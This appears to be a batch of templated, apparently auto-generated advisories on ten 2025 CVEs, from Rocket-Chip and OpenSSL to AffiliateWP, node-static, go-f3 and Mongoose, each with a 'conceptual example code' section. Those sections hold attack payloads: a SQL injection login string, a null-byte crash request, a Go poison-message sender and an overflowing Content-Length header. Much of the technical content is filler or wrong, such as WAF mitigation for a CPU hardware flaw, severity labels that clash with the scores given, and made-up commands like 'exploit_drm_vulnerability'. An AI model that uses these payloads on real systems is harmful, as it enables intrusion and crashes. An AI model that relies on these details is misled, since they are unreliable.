Author: Ameeba

Overview

The vulnerability identified as CVE-2025-56301 is a critical issue discovered in the Chipsalliance Rocket-Chip. The flaw allows bad actors to corrupt exception handling and privilege state transitions. This vulnerability poses a significant threat to any system running affected versions of the Rocket-Chip, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56301
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Chipsalliance Rocket-Chip | Versions prior to commit f517abbf41abb65cea37421d3559f9739efd00a9 (2025-01-29)

How the Exploit Works

The vulnerability arises from a flawed interaction between exception handling and exception return (MRET) mechanisms in the Control and Status Register (CSR) logic. When an MRET instruction is executed in machine mode without being in an exception state, an Instruction Access Fault may be triggered. This results in both the exception handling logic and the exception return logic activating simultaneously, leading to conflicting updates to the control and status registers. Consequently, this flaw can be exploited by an attacker to corrupt exception handling and privilege state transitions.

Conceptual Example Code

The following pseudocode demonstrates how the vulnerability could be exploited:

// Enter machine mode without being in an exception state
enterMachineMode();
// Execute MRET instruction
executeMRET();
// The above triggers an Instruction Access Fault, activating both
// the exception handling logic and the exception return logic simultaneously

The above steps result in conflicting updates to the control and status registers, thereby corrupting exception handling and privilege state transitions. An attacker could potentially utilize this flaw to compromise the system or leak data.

Mitigation

Users are advised to apply the vendor patch immediately once available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

Overview

The vulnerability, identified as CVE-2025-9230, is an out-of-bounds read and write issue occurring in the process of decrypting CMS messages encrypted using password-based encryption. Despite its moderate severity rating, a successful exploitation can lead to severe consequences such as system compromise, data leakage, or execution of attacker-supplied code. Systems using FIPS modules 3.0 to 3.5 are immune to this vulnerability as their CMS implementation is beyond the OpenSSL FIPS module’s boundary.

Vulnerability Summary

CVE ID: CVE-2025-9230
Severity: Moderate (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, Memory Corruption, Execution of Attacker-Supplied Code

Affected Products

Product | Affected Versions

OpenSSL | All versions except 3.0 to 3.5

How the Exploit Works

An attacker who successfully exploits this vulnerability can trigger an out-of-bounds read and write operation during the decryption of CMS messages encrypted with password-based encryption. The out-of-bounds read may instigate an application crash, thus resulting in a Denial of Service, whereas the out-of-bounds write can lead to memory corruption. This memory corruption could potentially allow the execution of code supplied by the attacker.

Conceptual Example Code

Although there is no specific example code for this exploit, a theoretical exploitation scenario would involve the attacker sending a maliciously crafted CMS message encrypted with password-based encryption to the target system. The decryption process of this message by the target system would trigger the out-of-bounds read and write vulnerability. The code below is a conceptual representation of this scenario:

openssl cms -decrypt -in malicious_cms_message.cms -out decrypted_message.txt -password attacker_supplied_password

In this case, ‘malicious_cms_message.cms’ would be a CMS message crafted by the attacker to exploit the vulnerability. The decryption process would then potentially trigger the out-of-bounds read and write operations, leading to the possible consequences outlined above.

Overview

This report examines the cybersecurity vulnerability CVE-2025-11153, which significantly affects Firefox versions below 143.0.3. This vulnerability, given its high severity, could lead to system compromise or potential data leakage, making it a significant concern for all users and administrators of affected Firefox versions.

Vulnerability Summary

CVE ID: CVE-2025-11153
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 143.0.3 How the Exploit Works

While the exact specifics of this vulnerability are not given, similar vulnerabilities often involve the manipulation of certain browser capabilities or functionalities to execute malicious code. Attackers could craft a malicious website or link, and when accessed by a user using a vulnerable version of Firefox, the malicious code is executed. This can potentially lead to unauthorized system access or data leakage.

Conceptual Example Code

GET /malicious/website HTTP/1.1
Host: attacker.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
{ "malicious_code": "..." }

In this conceptual example, an attacker tricks a user into visiting a malicious website (‘attacker.example.com’). The malicious payload (‘malicious_code’) is then executed due to the vulnerability in the user’s Firefox browser (version 142.0 in this example), potentially compromising the system or leaking sensitive data.

Mitigation Guidance

It is recommended to apply the vendor patch immediately to mitigate this vulnerability. For users who cannot immediately update to a patched version of Firefox, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. However, these measures should not be considered a long-term solution, and the vendor patch should be applied as soon as possible to ensure maximum protection.

Overview

This report covers a severe SQL Injection vulnerability found in the AffiliateWP plugin for WordPress applications, identified as CVE-2025-8877. The flaw can allow unauthenticated attackers to manipulate SQL queries and extract sensitive information from the database. Given the widespread use of the WordPress platform and the AffiliateWP plugin, this vulnerability can have significant impact on a large number of websites.

Vulnerability Summary

CVE ID: CVE-2025-8877
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

AffiliateWP WordPress Plugin | Up to and including 2.28.2

How the Exploit Works

The vulnerability lies in the ‘ajax_get_affiliate_id_from_login’ function of the AffiliateWP plugin. The function does not properly escape user input, and thus fails to prevent the injection of malicious SQL code. This allows unauthenticated attackers to append additional SQL queries into already existing queries and extract sensitive information from the database.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example represents a malicious HTTP request targeting the vulnerable function:

POST /wp-admin/admin-ajax.php?action=affwp_get_affiliate_id_from_login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
login=' OR '1'='1'; --

In this request, the attacker posts a payload to the ‘affwp_get_affiliate_id_from_login’ action which is vulnerable to SQL injection. The payload `OR ‘1’=’1’` is a classic SQL injection technique that can allow the attacker to bypass authentication or extract information from the database.

Mitigation

To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor as soon as possible. If an immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Always ensure to adopt the principle of least privilege and validate and sanitize all user inputs to minimize the attack surface.

Overview

CVE-2025-11149 is a critical vulnerability affecting all versions of the package node-static and @nubosoftware/node-static. This flaw is due to the package’s failure to catch exceptions when the user input includes null bytes. This weakness allows attackers to crash servers, which could potentially compromise systems or lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-11149
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System crash. Potential system compromise or data leakage.

Affected Products

Product | Affected Versions

node-static | All versions
@nubosoftware/node-static | All versions

How the Exploit Works

The exploit works by making use of a failure in the node-static and @nubosoftware/node-static packages to catch exceptions when user input includes null bytes. An attacker can send a request to http://host/%00, which the server fails to handle appropriately, resulting in a server crash.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example is an HTTP request that includes null bytes (%00), which leads to a server crash:

GET /%00 HTTP/1.1
Host: vulnerable-host.example.com

Mitigation and Recommendations

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it’s available. In the interim, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. Regularly updating and patching software is key to ensuring the security of systems. Additionally, it is good practice to handle exceptions properly and sanitize user inputs to avoid similar vulnerabilities.

Overview

The vulnerability CVE-2025-59942, a critical issue affecting the Golang implementation of Fast Finality for Filecoin (go-f3), has notable implications for Filecoin nodes. This vulnerability is due to a flaw in versions 0.8.6 and below, where ‘poison’ messages can induce a panic in go-f3, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-59942
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

go-f3 | 0.8.6 and below

How the Exploit Works

The vulnerability resides in the validation process of go-f3, where a specific type of poison message can cause an integer overflow in the signer index validation. This results in the node crashing. An attacker can exploit this vulnerability by directly sending the poison message to the target, which doesn’t require any user interaction. The message is not self-propagating as the bug lies within the validator.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This pseudocode represents a ‘poison’ message being sent to a node.

package main
import (
"net"
"log"
"fmt"
)
func main() {
conn, err := net.Dial("tcp", "target.node.com:port")
if err != nil {
log.Fatal("Connection failed: ", err.Error())
}
// Crafting the poison message
msg := fmt.Sprintf("{\"signer_index\": %d}", 1<<31)
_, err = conn.Write([]byte(msg))
if err != nil {
log.Fatal("Failed to send poison message: ", err.Error())
}
}

This code attempts to connect to the target node and send a crafted poison message that would cause an integer overflow and crash the node.

Overview

This report discusses a significant vulnerability identified as CVE-2025-54591 that affects FreshRSS, a self-hostable RSS aggregator. This vulnerability exposes sensitive information about feeds and tags of default admin users, posing a potential threat to system compromise and data leakage. It primarily affects users running versions 1.26.3 and below of the software.

Vulnerability Summary

CVE ID: CVE-2025-54591
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to lack of access checking in the FreshRSS_Auth::hasAccess() function

Affected Products

Product | Affected Versions

FreshRSS | 1.26.3 and below

How the Exploit Works

The vulnerability arises due to a lack of access checking in the FreshRSS_Auth::hasAccess() function used by some of the tag/feed related endpoints. FreshRSS controllers usually have a defined firstAction() method with an override to make sure that every action requires access. However, when this method is not defined, each action must manually check for access. The vulnerability is exploited when certain endpoints neither use the firstAction() method nor perform a manual access check, thereby exposing sensitive information.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This hypothetical HTTP request targets an unprotected endpoint:

GET /feed/endpoint HTTP/1.1
Host: target.example.com

This request could potentially expose sensitive information about feeds and tags of default admin users due to the lack of access control checks.
Please note that this example is purely theoretical and is provided to assist in understanding the nature of the vulnerability.

Overview

This report presents a comprehensive analysis of the CVE-2025-45376 vulnerability found in Dell Repository Manager versions 3.4.7 and 3.4.8. This vulnerability is of particular concern as it allows a low privileged attacker with local access to exploit it, potentially leading to an elevation of privileges and causing a risk of system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-45376
Severity: High (7.5 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Elevation of privileges, potential system compromise, and data leakage.

Affected Products

Product | Affected Versions

Dell Repository Manager | 3.4.7, 3.4.8

How the Exploit Works

An attacker with low-level privileges and local access can exploit this vulnerability due to the improper handling of insufficient permissions or privileges in the Dell Repository Manager. By leveraging this flaw, the attacker can elevate their privileges, and gain unauthorized access to system resources, potentially leading to system compromise or data leakage.

Conceptual Example Code

The following pseudo-code demonstrates a conceptual example of how the vulnerability could be exploited:

# Attacker gains low-level local access
$ ssh low_privileged_user@target_system
# Using the vulnerability in Dell Repository Manager, elevate privileges
$ exploit_drm_vulnerability
# Now as a high privileged user, unauthorized access to system resources can be obtained.
$ access_high_privilege_resources

This hypothetical example illustrates the potential risk posed by CVE-2025-45376. Addressing this vulnerability should be prioritized to prevent unauthorized access, system compromise, or data leakage.

Overview

The following report delves into a critical security vulnerability identified as CVE-2025-41252. This vulnerability resides in several versions of VMware NSX and VMware Cloud Foundation (with NSX), enabling unauthenticated malicious actors to enumerate valid usernames remotely, which can potentially lead to unauthorized access attempts. Given its severity and wide impact, understanding and addressing this vulnerability is crucial for organizations relying on affected VMware products.

Vulnerability Summary

CVE ID: CVE-2025-41252
Severity: Important, CVSSv3: 7.5 (High)
Attack Vector: Remote, Unauthenticated
Privileges Required: None
User Interaction: None
Impact: Username enumeration leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

VMware NSX | 9.x.x.x, 4.2.x, 4.1.x, 4.0.x
NSX-T | 3.x
VMware Cloud Foundation (with NSX) | 5.x, 4.5.x

How the Exploit Works

The vulnerability resides in the user authentication component of the VMware NSX. An unauthenticated malicious actor can send specially crafted requests to the login interface of the affected products. These requests can disclose whether a user exists, allowing the attacker to create a list of valid usernames. With this information, the attacker can potentially carry out further attacks, such as brute-force or password spraying attacks, to gain unauthorized access.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using an HTTP request:

GET /login HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
{ "username": "admin" }

In this case, the server’s response might differ depending on whether the “admin” username exists, allowing an attacker to enumerate valid usernames.

Workarounds and Mitigation

Unfortunately, no workarounds are currently available for CVE-2025-41252. The only way to effectively mitigate the vulnerability is by applying the patches provided by VMware for the affected products. Temporary measures can include the use of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). However, these are not full-proof solutions and the recommended approach is to apply the patches as soon as possible.

Acknowledgments

This vulnerability was reported by the National Security Agency.

Overview

The vulnerability under discussion, identified as CVE-2025-51495, resides in the WebSocket component of Mongoose versions 7.5 to 7.17. This vulnerability, if exploited, could lead to a buffer overflow, potentially compromising systems and leaking sensitive data. Given the widespread use of Mongoose, this vulnerability exposes numerous systems to a considerable risk.

Vulnerability Summary

CVE ID: CVE-2025-51495
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Mongoose | 7.5 to 7.17

How the Exploit Works

The exploit takes advantage of an integer overflow vulnerability in the WebSocket component of Mongoose. By sending a specially crafted WebSocket request, an attacker can cause the application to crash. If downstream vendors have integrated this component improperly, the issue could escalate into a buffer overflow, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. In this case, the attacker is sending a specially crafted WebSocket request to the target server.

GET /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
Content-Length: 18446744073709551616

In this example, the `Content-Length` header is set to a value that triggers the integer overflow, leading to an application crash and potentially a buffer overflow if the WebSocket component has been improperly integrated.

Mitigation Guidance

To mitigate this vulnerability, vendors are advised to apply the latest patches provided by Mongoose. In the absence of a patch, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) could offer temporary mitigation. Ensure to keep your systems up to date and continuously monitor for any unusual network activities.